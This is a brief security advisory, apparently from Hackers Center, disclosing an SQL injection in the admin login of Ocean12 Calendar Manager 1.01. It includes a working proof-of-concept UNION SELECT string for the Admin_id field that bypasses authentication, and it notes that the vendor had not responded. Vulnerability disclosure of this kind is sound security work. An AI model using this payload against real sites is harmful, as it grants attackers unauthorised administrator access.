Hackers Center Security Group (http://www.hackerscenter.com/) Zinho's Security Advisory Product: Ocean12 Calendar manager 1.01 Site: www.ocean12scripts.com The admin login panel suffers of an sql injection that allows anyone to log in as Admin. Proof of concept: /// - Admin_id: Admin' UNION ALL SELECT id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE Admin_id='Admin Admin_password: 1 /// Vendor has been contacted some weeks ago. No response received so far. Author: Zinho is webmaster and founder of http://www.hackerscenter.com , Security research portal Secure Web Hosting Companies Reviewed: http://www.securityforge.com/web-hosting/secure-web-hosting.asp zinho-no-spam @ hackerscenter.com
